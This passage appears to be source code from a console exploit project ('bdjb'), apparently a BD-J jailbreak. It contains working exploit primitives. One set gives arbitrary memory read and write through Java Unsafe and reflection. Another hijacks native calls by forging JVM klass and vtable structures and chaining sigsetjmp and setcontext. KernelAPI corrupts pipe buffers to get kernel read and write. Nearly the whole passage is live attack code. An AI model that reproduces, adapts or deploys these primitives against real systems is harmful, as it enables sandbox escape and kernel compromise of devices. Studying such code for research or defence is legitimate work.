private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL =
"Java_java_lang_reflect_Array_multiNewArray";
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
private static final String SIGSETJMP_SYMBOL = "sigsetjmp";
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
private static final String ERROR_SYMBOL = "__error";
private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray";
private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(J[I)J";
private static final String NATIVE_LIBRARY_CLASS_NAME = "java.lang.ClassLoader$NativeLibrary";
private static final String FIND_METHOD_NAME = "find";
private static final String FIND_ENTRY_METHOD_NAME = "findEntry";
private static final String HANDLE_FIELD_NAME = "handle";
private static final String VALUE_FIELD_NAME = "value";
private static final int[] MULTI_NEW_ARRAY_DIMENSIONS = new int[] {1};
private static final int ARRAY_BASE_OFFSET = 0x18;
private static final ThreadLocal callContexts = new ThreadLocal();
private static API instance;
private UnsafeInterface unsafe;
private Object nativeLibrary;
private Method findMethod;
private Field handleField;
private long executableHandle;
private long Java_java_lang_reflect_Array_multiNewArray;
private long JVM_NativePath;
private long sigsetjmp;
private long __Ux86_64_setcontext;
private long __error;
private boolean jdk11;
private API() throws Exception {
this.init();
}
public static synchronized API getInstance() throws Exception {
if (instance == null) {
instance = new API();
}
return instance;
}
private native long multiNewArray(long componentType, int[] dimensions);
public boolean isJdk11() {
return jdk11;
}
private void init() throws Exception {
initUnsafe();
initDlsym();
initSymbols();
initApiCall();
}
private void initUnsafe() throws Exception {
try {
unsafe = new UnsafeSunImpl();
jdk11 = false;
} catch (ClassNotFoundException e) {
unsafe = new UnsafeJdkImpl();
jdk11 = true;
}
}
private void initDlsym() throws Exception {
Class nativeLibraryClass = Class.forName(NATIVE_LIBRARY_CLASS_NAME);
if (jdk11) {
findMethod =
nativeLibraryClass.getDeclaredMethod(FIND_ENTRY_METHOD_NAME, new Class[] {String.class});
} else {
findMethod =
nativeLibraryClass.getDeclaredMethod(FIND_METHOD_NAME, new Class[] {String.class});
}
handleField = nativeLibraryClass.getDeclaredField(HANDLE_FIELD_NAME);
findMethod.setAccessible(true);
handleField.setAccessible(true);
Constructor nativeLibraryConstructor =
nativeLibraryClass.getDeclaredConstructor(
new Class[] {Class.class, String.class, boolean.class});
nativeLibraryConstructor.setAccessible(true);
nativeLibrary =
nativeLibraryConstructor.newInstance(new Object[] {getClass(), "api", new Boolean(true)});
}
private void initSymbols() {
JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL);
if (JVM_NativePath == 0) {
throw new InternalError("JVM_NativePath not found");
}
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
if (__Ux86_64_setcontext == 0) {
// In earlier versions, there's a bug where only the main executable's handle is used.
executableHandle = JVM_NativePath & -4;
while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) {
executableHandle += 4;
}
executableHandle -= 4;
// Try again.
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
}
if (__Ux86_64_setcontext == 0) {
throw new InternalError("__Ux86_64_setcontext not found");
}
if (jdk11) {
Java_java_lang_reflect_Array_multiNewArray =
dlsym(LIBJAVA_MODULE_HANDLE, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
} else {
Java_java_lang_reflect_Array_multiNewArray =
dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
}
if (Java_java_lang_reflect_Array_multiNewArray == 0) {
throw new InternalError("Java_java_lang_reflect_Array_multiNewArray not found");
}
sigsetjmp = dlsym(LIBKERNEL_MODULE_HANDLE, SIGSETJMP_SYMBOL);
if (sigsetjmp == 0) {
throw new InternalError("sigsetjmp not found");
}
__error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL);
if (__error == 0) {
throw new InternalError("__error not found");
}
}
private void initApiCall() {
long apiInstance = addrof(this);
long apiKlass = read64(apiInstance + 0x08);
boolean installed = false;
if (jdk11) {
long methods = read64(apiKlass + 0x170);
int numMethods = read32(methods + 0x00);
for (int i = 0; i < numMethods; i++) {
long method = read64(methods + 0x08 + i * 8);
long constMethod = read64(method + 0x08);
long constants = read64(constMethod + 0x08);
short nameIndex = read16(constMethod + 0x2A);
short signatureIndex = read16(constMethod + 0x2C);
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2;
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2;
short nameLength = read16(nameSymbol + 0x00);
short signatureLength = read16(signatureSymbol + 0x00);
String name = readString(nameSymbol + 0x06, nameLength);
String signature = readString(signatureSymbol + 0x06, signatureLength);
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
write64(method + 0x50, Java_java_lang_reflect_Array_multiNewArray);
installed = true;
break;
}
}
} else {
long methods = read64(apiKlass + 0xC8);
int numMethods = read32(methods + 0x10);
for (int i = 0; i < numMethods; i++) {
long method = read64(methods + 0x18 + i * 8);
long constMethod = read64(method + 0x10);
long constants = read64(method + 0x18);
short nameIndex = read16(constMethod + 0x42);
short signatureIndex = read16(constMethod + 0x44);
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2;
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2;
short nameLength = read16(nameSymbol + 0x08);
short signatureLength = read16(signatureSymbol + 0x08);
String name = readString(nameSymbol + 0x0A, nameLength);
String signature = readString(signatureSymbol + 0x0A, signatureLength);
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
write64(method + 0x78, Java_java_lang_reflect_Array_multiNewArray);
installed = true;
break;
}
}
}
if (!installed) {
throw new InternalError("installing native method failed");
}
// Invoke call method many times to kick in optimization.
train();
}
private void train() {
for (int i = 0; i < 10000; i++) {
call(0);
}
}
private void buildContext(
long[] contextBuf,
long[] jmpBuf,
int offset,
long rip,
long rdi,
long rsi,
long rdx,
long rcx,
long r8,
long r9) {
long rbx = jmpBuf[(offset + 0x08) / 8];
long rsp = jmpBuf[(offset + 0x10) / 8];
long rbp = jmpBuf[(offset + 0x18) / 8];
long r12 = jmpBuf[(offset + 0x20) / 8];
long r13 = jmpBuf[(offset + 0x28) / 8];
long r14 = jmpBuf[(offset + 0x30) / 8];
long r15 = jmpBuf[(offset + 0x38) / 8];
contextBuf[(offset + 0x48) / 8] = rdi;
contextBuf[(offset + 0x50) / 8] = rsi;
contextBuf[(offset + 0x58) / 8] = rdx;
contextBuf[(offset + 0x60) / 8] = rcx;
contextBuf[(offset + 0x68) / 8] = r8;
contextBuf[(offset + 0x70) / 8] = r9;
contextBuf[(offset + 0x80) / 8] = rbx;
contextBuf[(offset + 0x88) / 8] = rbp;
contextBuf[(offset + 0xA0) / 8] = r12;
contextBuf[(offset + 0xA8) / 8] = r13;
contextBuf[(offset + 0xB0) / 8] = r14;
contextBuf[(offset + 0xB8) / 8] = r15;
contextBuf[(offset + 0xE0) / 8] = rip;
contextBuf[(offset + 0xF8) / 8] = rsp;
}
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
long ret = 0;
// When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext.
// This is used to "train" this function to kick in optimization early. Otherwise, it is
// possible that optimization kicks in between the calls to sigsetjmp and __Ux86_64_setcontext
// leading to different stack layouts of the two calls.
int iter = func == 0 ? 1 : 2;
CallContext callContext = getCallContext();
if (jdk11) {
callContext.fakeKlass[0xC0 / 8] = 0; // dimension
for (int i = 0; i < iter; i++) {
callContext.fakeKlass[0x00 / 8] = callContext.fakeKlassVtableAddr;
callContext.fakeKlass[0x00 / 8] = callContext.fakeKlassVtableAddr;
if (i == 0) {
callContext.fakeKlassVtable[0x158 / 8] = sigsetjmp + 0x23; // multi_allocate
} else {
callContext.fakeKlassVtable[0x158 / 8] = __Ux86_64_setcontext + 0x39; // multi_allocate
}
ret = multiNewArray(callContext.fakeClassOopAddr, MULTI_NEW_ARRAY_DIMENSIONS);
if (i == 0) {
buildContext(
callContext.fakeKlass,
callContext.fakeKlass,
0x00,
func,
arg0,
arg1,
arg2,
arg3,
arg4,
arg5);
}
}
} else {
callContext.fakeKlass[0xB8 / 8] = 0; // dimension
for (int i = 0; i < iter; i++) {
callContext.fakeKlass[0x10 / 8] = callContext.fakeKlassVtableAddr;
callContext.fakeKlass[0x20 / 8] = callContext.fakeKlassVtableAddr;
if (i == 0) {
callContext.fakeKlassVtable[0x230 / 8] = sigsetjmp + 0x23; // multi_allocate
} else {
callContext.fakeKlassVtable[0x230 / 8] = __Ux86_64_setcontext + 0x39; // multi_allocate
}
ret = multiNewArray(callContext.fakeClassOopAddr, MULTI_NEW_ARRAY_DIMENSIONS);
if (i == 0) {
buildContext(
callContext.fakeKlass,
callContext.fakeKlass,
0x20,
func,
arg0,
arg1,
arg2,
arg3,
arg4,
arg5);
}
}
}
if (ret == 0) {
return 0;
}
return read64(ret);
}
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) {
return call(func, arg0, arg1, arg2, arg3, arg4, (long) 0);
}
public long call(long func, long arg0, long arg1, long arg2, long arg3) {
return call(func, arg0, arg1, arg2, arg3, (long) 0, (long) 0);
}
public long call(long func, long arg0, long arg1, long arg2) {
return call(func, arg0, arg1, arg2, (long) 0, (long) 0, (long) 0);
}
public long call(long func, long arg0, long arg1) {
return call(func, arg0, arg1, (long) 0, (long) 0, (long) 0, (long) 0);
}
public long call(long func, long arg0) {
return call(func, arg0, (long) 0, (long) 0, (long) 0, (long) 0, (long) 0);
}
public long call(long func) {
return call(func, (long) 0, (long) 0, (long) 0, (long) 0, (long) 0, (long) 0);
}
public int errno() {
return read32(call(__error));
}
public long dlsym(long handle, String symbol) {
int oldHandle = RTLD_DEFAULT;
try {
if (executableHandle != 0) {
// In earlier versions, there's a bug where only the main executable's handle is used.
oldHandle = read32(executableHandle);
write32(executableHandle, (int) handle);
handleField.setLong(nativeLibrary, RTLD_DEFAULT);
} else {
handleField.setLong(nativeLibrary, handle);
}
return ((Long) findMethod.invoke(nativeLibrary, new Object[] {symbol})).longValue();
} catch (IllegalAccessException e) {
return 0;
} catch (InvocationTargetException e) {
return 0;
} finally {
if (executableHandle != 0) {
write32(executableHandle, oldHandle);
}
}
}
public long addrof(Object obj) {
Object[] array = new Object[] {obj};
return unsafe.getLong(array, ARRAY_BASE_OFFSET);
}
public byte read8(long addr) {
return unsafe.getByte(addr);
}
public short read16(long addr) {
return unsafe.getShort(addr);
}
public int read32(long addr) {
return unsafe.getInt(addr);
}
public long read64(long addr) {
return unsafe.getLong(addr);
}
public void write8(long addr, byte val) {
unsafe.putByte(addr, val);
}
public void write16(long addr, short val) {
unsafe.putShort(addr, val);
}
public void write32(long addr, int val) {
unsafe.putInt(addr, val);
}
public void write64(long addr, long val) {
unsafe.putLong(addr, val);
}
public long malloc(long size) {
return unsafe.allocateMemory(size);
}
public long calloc(long number, long size) {
long p = malloc(number * size);
if (p != 0) {
memset(p, 0, number * size);
}
return p;
}
public long realloc(long ptr, long size) {
return unsafe.reallocateMemory(ptr, size);
}
public void free(long ptr) {
unsafe.freeMemory(ptr);
}
public long memcpy(long dest, long src, long n) {
unsafe.copyMemory(src, dest, n);
return dest;
}
public long memcpy(long dest, byte[] src, long n) {
for (int i = 0; i < n; i++) {
write8(dest + i, src[i]);
}
return dest;
}
public byte[] memcpy(byte[] dest, long src, long n) {
for (int i = 0; i < n; i++) {
dest[i] = read8(src + i);
}
return dest;
}
public long memset(long s, int c, long n) {
unsafe.setMemory(s, n, (byte) c);
return s;
}
public byte[] memset(byte[] s, int c, long n) {
for (int i = 0; i < n; i++) {
s[i] = (byte) c;
}
return s;
}
public int memcmp(long s1, long s2, long n) {
for (int i = 0; i < n; i++) {
byte b1 = read8(s1 + i);
byte b2 = read8(s2 + i);
if (b1 != b2) {
return (int) b1 - (int) b2;
}
}
return 0;
}
public int memcmp(long s1, byte[] s2, long n) {
for (int i = 0; i < n; i++) {
byte b1 = read8(s1 + i);
byte b2 = s2[i];
if (b1 != b2) {
return (int) b1 - (int) b2;
}
}
return 0;
}
public int memcmp(byte[] s1, long s2, long n) {
return memcmp(s2, s1, n);
}
public int strcmp(long s1, long s2) {
for (int i = 0; ; i++) {
byte b1 = read8(s1 + i);
byte b2 = read8(s2 + i);
if (b1 != b2) {
return (int) b1 - (int) b2;
}
if (b1 == (byte) 0 && b2 == (byte) 0) {
return 0;
}
}
}
public int strcmp(long s1, String s2) {
byte[] bytes = toCBytes(s2);
for (int i = 0; ; i++) {
byte b1 = read8(s1 + i);
byte b2 = bytes[i];
if (b1 != b2) {
return (int) b1 - (int) b2;
}
if (b1 == (byte) 0 && b2 == (byte) 0) {
return 0;
}
}
}
public int strcmp(String s1, long s2) {
return strcmp(s2, s1);
}
public long strcpy(long dest, long src) {
for (int i = 0; ; i++) {
byte ch = read8(src + i);
write8(dest + i, ch);
if (ch == (byte) 0) {
break;
}
}
return dest;
}
public long strcpy(long dest, String src) {
byte[] bytes = toCBytes(src);
for (int i = 0; ; i++) {
byte ch = bytes[i];
write8(dest + i, ch);
if (ch == (byte) 0) {
break;
}
}
return dest;
}
public String readString(long src, long n) {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
for (int i = 0; ; i++) {
byte ch = read8(src + i);
if (ch == (byte) 0 || i == n) {
break;
}
outputStream.write(new byte[] {ch}, 0, 1);
}
return outputStream.toString();
}
public String readString(long src) {
return readString(src, -1);
}
public byte[] toCBytes(String str) {
byte[] bytes = new byte[str.length() + 1];
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length());
return bytes;
}
private CallContext getCallContext() {
CallContext callContext = (CallContext) callContexts.get();
if (callContext != null) {
return callContext;
}
callContext = new CallContext();
callContexts.set(callContext);
return callContext;
}
class CallContext {
final long[] fakeClassOop;
final long[] fakeClass;
final long[] fakeKlass;
final long[] fakeKlassVtable;
final long fakeClassOopAddr;
final long fakeClassAddr;
final long fakeKlassAddr;
final long fakeKlassVtableAddr;
private final long callContextBuffer;
CallContext() {
callContextBuffer =
malloc(
ARRAY_BASE_OFFSET
+ Int64.SIZE
+ ARRAY_BASE_OFFSET
+ 0x100
+ ARRAY_BASE_OFFSET
+ 0x200
+ ARRAY_BASE_OFFSET
+ 0x400);
if (callContextBuffer == 0) {
throw new OutOfMemoryError("malloc failed");
}
// Get array addresses.
fakeClassOopAddr = callContextBuffer + ARRAY_BASE_OFFSET;
fakeClassAddr = fakeClassOopAddr + Int64.SIZE + ARRAY_BASE_OFFSET;
fakeKlassAddr = fakeClassAddr + 0x100 + ARRAY_BASE_OFFSET;
fakeKlassVtableAddr = fakeKlassAddr + 0x200 + ARRAY_BASE_OFFSET;
long[] array = new long[1];
long arrayAddr = addrof(array);
long arrayKlass = read64(arrayAddr + 0x08);
// Write array headers.
write64(fakeClassOopAddr - 0x18, 1);
write64(fakeClassAddr - 0x18, 1);
write64(fakeKlassAddr - 0x18, 1);
write64(fakeKlassVtableAddr - 0x18, 1);
write64(fakeClassOopAddr - 0x10, arrayKlass);
write64(fakeClassAddr - 0x10, arrayKlass);
write64(fakeKlassAddr - 0x10, arrayKlass);
write64(fakeKlassVtableAddr - 0x10, arrayKlass);
write64(fakeClassOopAddr - 8, 0xFFFFFFFF);
write64(fakeClassAddr - 8, 0xFFFFFFFF);
write64(fakeKlassAddr - 8, 0xFFFFFFFF);
write64(fakeKlassVtableAddr - 8, 0xFFFFFFFF);
long[][] callContextArray = new long[4][0];
long callContextArrayAddr = addrof(callContextArray) + ARRAY_BASE_OFFSET;
// Put array addresses into callContextArray.
write64(callContextArrayAddr + 0x00, fakeClassOopAddr - ARRAY_BASE_OFFSET);
write64(callContextArrayAddr + 0x08, fakeClassAddr - ARRAY_BASE_OFFSET);
write64(callContextArrayAddr + 0x10, fakeKlassAddr - ARRAY_BASE_OFFSET);
write64(callContextArrayAddr + 0x18, fakeKlassVtableAddr - ARRAY_BASE_OFFSET);
// Get fake arrays.
fakeClassOop = callContextArray[0];
fakeClass = callContextArray[1];
fakeKlass = callContextArray[2];
fakeKlassVtable = callContextArray[3];
// Restore.
write64(callContextArrayAddr + 0x00, 0);
write64(callContextArrayAddr + 0x08, 0);
write64(callContextArrayAddr + 0x10, 0);
write64(callContextArrayAddr + 0x18, 0);
if (jdk11) {
fakeClassOop[0x00 / 8] = fakeClassAddr;
fakeClass[0x98 / 8] = fakeKlassAddr;
fakeKlassVtable[0xD8 / 8] = JVM_NativePath; // array_klass
} else {
fakeClassOop[0x00 / 8] = fakeClassAddr;
fakeClass[0x68 / 8] = fakeKlassAddr;
fakeKlassVtable[0x80 / 8] = JVM_NativePath; // array_klass
fakeKlassVtable[0xF0 / 8] = JVM_NativePath; // oop_is_array
}
}
protected void finalize() {
free(callContextBuffer);
}
}
}
================================================
FILE: src/com/bdjb/api/Buffer.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
public class Buffer {
protected static final API api;
static {
try {
api = API.getInstance();
} catch (Exception e) {
throw new ExceptionInInitializerError(e);
}
}
private final long address;
private final int size;
public Buffer(int size) {
this.address = api.calloc(1, size);
this.size = size;
}
protected void finalize() {
api.free(address);
}
public long address() {
return address;
}
public int size() {
return size;
}
public byte getByte(int offset) {
checkOffset(offset, Int8.SIZE);
return api.read8(address + offset);
}
public short getShort(int offset) {
checkOffset(offset, Int16.SIZE);
return api.read16(address + offset);
}
public int getInt(int offset) {
checkOffset(offset, Int32.SIZE);
return api.read32(address + offset);
}
public long getLong(int offset) {
checkOffset(offset, Int64.SIZE);
return api.read64(address + offset);
}
public void putByte(int offset, byte value) {
checkOffset(offset, Int8.SIZE);
api.write8(address + offset, value);
}
public void putShort(int offset, short value) {
checkOffset(offset, Int16.SIZE);
api.write16(address + offset, value);
}
public void putInt(int offset, int value) {
checkOffset(offset, Int32.SIZE);
api.write32(address + offset, value);
}
public void putLong(int offset, long value) {
checkOffset(offset, Int64.SIZE);
api.write64(address + offset, value);
}
public void put(int offset, Buffer buffer) {
checkOffset(offset, buffer.size());
api.memcpy(address + offset, buffer.address(), buffer.size());
}
public void put(int offset, byte[] buffer) {
checkOffset(offset, buffer.length);
api.memcpy(address + offset, buffer, buffer.length);
}
public void fill(byte value) {
api.memset(address, value, size);
}
protected void checkOffset(int offset, int length) {
if (offset < 0 || length < 0 || (offset + length) > size) {
throw new IndexOutOfBoundsException();
}
}
}
================================================
FILE: src/com/bdjb/api/Int16.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
public final class Int16 extends Buffer {
public static final int SIZE = 2;
public Int16() {
super(SIZE);
}
public Int16(short value) {
this();
set(value);
}
public short get() {
return getShort(0x00);
}
public void set(short value) {
putShort(0x00, value);
}
}
================================================
FILE: src/com/bdjb/api/Int16Array.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
public final class Int16Array extends Buffer {
public Int16Array(int length) {
super(length * Int16.SIZE);
}
public short get(int index) {
return getShort(index * Int16.SIZE);
}
public void set(int index, short value) {
putShort(index * Int16.SIZE, value);
}
}
================================================
FILE: src/com/bdjb/api/Int32.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
public final class Int32 extends Buffer {
public static final int SIZE = 4;
public Int32() {
super(SIZE);
}
public Int32(int value) {
this();
set(value);
}
public int get() {
return getInt(0x00);
}
public void set(int value) {
putInt(0x00, value);
}
}
================================================
FILE: src/com/bdjb/api/Int32Array.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
public final class Int32Array extends Buffer {
public Int32Array(int length) {
super(length * Int32.SIZE);
}
public int get(int index) {
return getInt(index * Int32.SIZE);
}
public void set(int index, int value) {
putInt(index * Int32.SIZE, value);
}
}
================================================
FILE: src/com/bdjb/api/Int64.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
public final class Int64 extends Buffer {
public static final int SIZE = 8;
public Int64() {
super(SIZE);
}
public Int64(long value) {
this();
set(value);
}
public long get() {
return getLong(0x00);
}
public void set(long value) {
putLong(0x00, value);
}
}
================================================
FILE: src/com/bdjb/api/Int64Array.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
public final class Int64Array extends Buffer {
public Int64Array(int length) {
super(length * Int64.SIZE);
}
public long get(int index) {
return getLong(index * Int64.SIZE);
}
public void set(int index, long value) {
putLong(index * Int64.SIZE, value);
}
}
================================================
FILE: src/com/bdjb/api/Int8.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
public final class Int8 extends Buffer {
public static final int SIZE = 1;
public Int8() {
super(SIZE);
}
public Int8(byte value) {
this();
set(value);
}
public byte get() {
return getByte(0x00);
}
public void set(byte value) {
putByte(0x00, value);
}
}
================================================
FILE: src/com/bdjb/api/Int8Array.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
public final class Int8Array extends Buffer {
public Int8Array(int length) {
super(length * Int8.SIZE);
}
public byte get(int index) {
return getByte(index * Int8.SIZE);
}
public void set(int index, byte value) {
putByte(index * Int8.SIZE, value);
}
}
================================================
FILE: src/com/bdjb/api/KernelAPI.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
/** API class to access kernel native data. */
public class KernelAPI {
public static final int PAGE_SIZE = 0x4000;
private static final int F_SETFL = 4;
private static final int O_NONBLOCK = 4;
private static final int PIPEBUF_SIZE = 0x18;
private static final String PIPE_SYMBOL = "pipe";
private static final String READ_SYMBOL = "read";
private static final String WRITE_SYMBOL = "write";
private static final String FCNTL_SYMBOL = "fcntl";
private static final String CLOSE_SYMBOL = "close";
private static final API api;
private static KernelAPI instance;
static {
try {
api = API.getInstance();
} catch (Exception e) {
throw new ExceptionInInitializerError(e);
}
}
private final Buffer victimPipebuf = new Buffer(PIPEBUF_SIZE);
private final Buffer tmp = new Buffer(PAGE_SIZE);
private long pipe;
private long read;
private long write;
private long fcntl;
private long close;
private long kaslrOffset;
private Int32Array masterPipeFd = new Int32Array(2);
private Int32Array victimPipeFd = new Int32Array(2);
private int masterRpipeFd;
private int masterWpipeFd;
private int victimRpipeFd;
private int victimWpipeFd;
private KernelAPI() {
this.init();
}
public static synchronized KernelAPI getInstance() {
if (instance == null) {
instance = new KernelAPI();
}
return instance;
}
private void init() {
initSymbols();
initPipes();
}
private void initSymbols() {
pipe = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, PIPE_SYMBOL);
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL);
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL);
fcntl = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, FCNTL_SYMBOL);
close = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, CLOSE_SYMBOL);
if (pipe == 0 || read == 0 || write == 0 || fcntl == 0 || close == 0) {
throw new InternalError("symbols not found");
}
}
private void initPipes() {
pipe(masterPipeFd);
pipe(victimPipeFd);
masterRpipeFd = masterPipeFd.get(0);
masterWpipeFd = masterPipeFd.get(1);
victimRpipeFd = victimPipeFd.get(0);
victimWpipeFd = victimPipeFd.get(1);
fcntl(masterRpipeFd, F_SETFL, O_NONBLOCK);
fcntl(masterWpipeFd, F_SETFL, O_NONBLOCK);
fcntl(victimRpipeFd, F_SETFL, O_NONBLOCK);
fcntl(victimWpipeFd, F_SETFL, O_NONBLOCK);
}
private int pipe(Int32Array fildes) {
return (int) api.call(pipe, fildes != null ? fildes.address() : 0);
}
private int fcntl(int fd, int cmd, long arg0) {
return (int) api.call(fcntl, fd, cmd, arg0);
}
private long read(int fd, Buffer buf, long nbytes) {
return api.call(read, fd, buf != null ? buf.address() : 0, nbytes);
}
private long write(int fd, Buffer buf, long nbytes) {
return api.call(write, fd, buf != null ? buf.address() : 0, nbytes);
}
private int close(int fd) {
return (int) api.call(close, fd);
}
private int corruptPipebuf(int cnt, int in, int out, int size, long buffer) {
if (buffer == 0) {
throw new IllegalArgumentException("buffer cannot be zero");
}
victimPipebuf.putInt(0x00, cnt); // cnt
victimPipebuf.putInt(0x04, in); // in
victimPipebuf.putInt(0x08, out); // out
victimPipebuf.putInt(0x0C, size); // size
victimPipebuf.putLong(0x10, buffer); // buffer
write(masterWpipeFd, victimPipebuf, victimPipebuf.size());
return (int) read(masterRpipeFd, victimPipebuf, victimPipebuf.size());
}
public int kread(Buffer dest, long src, long n) {
corruptPipebuf((int) n, 0, 0, PAGE_SIZE, src);
return (int) read(victimRpipeFd, dest, n);
}
public int kwrite(long dest, Buffer src, long n) {
corruptPipebuf(0, 0, 0, PAGE_SIZE, dest);
return (int) write(victimWpipeFd, src, n);
}
public byte kread8(long addr) {
kread(tmp, addr, Int8.SIZE);
return tmp.getByte(0x00);
}
public short kread16(long addr) {
kread(tmp, addr, Int16.SIZE);
return tmp.getShort(0x00);
}
public int kread32(long addr) {
kread(tmp, addr, Int32.SIZE);
return tmp.getInt(0x00);
}
public long kread64(long addr) {
kread(tmp, addr, Int64.SIZE);
return tmp.getLong(0x00);
}
public void kwrite8(long addr, byte val) {
tmp.putByte(0x00, val);
kwrite(addr, tmp, Int8.SIZE);
}
public void krite16(long addr, short val) {
tmp.putShort(0x00, val);
kwrite(addr, tmp, Int16.SIZE);
}
public void kwrite32(long addr, int val) {
tmp.putInt(0x00, val);
kwrite(addr, tmp, Int32.SIZE);
}
public void kwrite64(long addr, long val) {
tmp.putLong(0x00, val);
kwrite(addr, tmp, Int64.SIZE);
}
public Int32Array getMasterPipeFd() {
return masterPipeFd;
}
public Int32Array getVictimPipeFd() {
return victimPipeFd;
}
public long getKaslrOffset() {
return kaslrOffset;
}
public void setKaslrOffset(long offset) {
kaslrOffset = offset;
}
}
================================================
FILE: src/com/bdjb/api/Text.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
public class Text extends Buffer {
private final String text;
public Text(String text) {
super(text.length() + 1);
this.text = text;
api.strcpy(address(), text);
}
public String toString() {
return text;
}
}
================================================
FILE: src/com/bdjb/api/UnsafeInterface.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
import java.lang.reflect.Field;
interface UnsafeInterface {
public byte getByte(long address);
public short getShort(long address);
public int getInt(long address);
public long getLong(long address);
public long getLong(Object o, long offset);
public void putByte(long address, byte x);
public void putShort(long address, short x);
public void putInt(long address, int x);
public void putLong(long address, long x);
public void putObject(Object o, long offset, Object x);
public long objectFieldOffset(Field f);
public long allocateMemory(long bytes);
public long reallocateMemory(long address, long bytes);
public void freeMemory(long address);
public void setMemory(long address, long bytes, byte value);
public void copyMemory(long srcAddress, long destAddress, long bytes);
}
================================================
FILE: src/com/bdjb/api/UnsafeJdkImpl.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import jdk.internal.misc.Unsafe;
class UnsafeJdkImpl implements UnsafeInterface {
private static final String GET_MODULE_METHOD_NAME = "getModule";
private static final String MODULE_CLASS_NAME = "java.lang.Module";
private static final String IMPL_ADD_OPENS_TO_ALL_UNNAMED_METHOD_NAME =
"implAddOpensToAllUnnamed";
private static final String UNSAFE_CLASS_NAME = "jdk.internal.misc.Unsafe";
private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe";
private final Unsafe unsafe;
UnsafeJdkImpl() throws Exception {
// Throw exception if class does not exist.
Class.forName(UNSAFE_CLASS_NAME);
// Get unsafe module.
Method getModuleMethod = Class.class.getDeclaredMethod(GET_MODULE_METHOD_NAME, null);
getModuleMethod.setAccessible(true);
Object unsafeModule = getModuleMethod.invoke(Unsafe.class, null);
// Open unsafe package.
Method implAddOpensToAllUnnamedMethod =
Class.forName(MODULE_CLASS_NAME)
.getDeclaredMethod(
IMPL_ADD_OPENS_TO_ALL_UNNAMED_METHOD_NAME, new Class[] {String.class});
implAddOpensToAllUnnamedMethod.setAccessible(true);
implAddOpensToAllUnnamedMethod.invoke(
unsafeModule, new Object[] {Unsafe.class.getPackage().getName()});
// Get unsafe instance.
Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME);
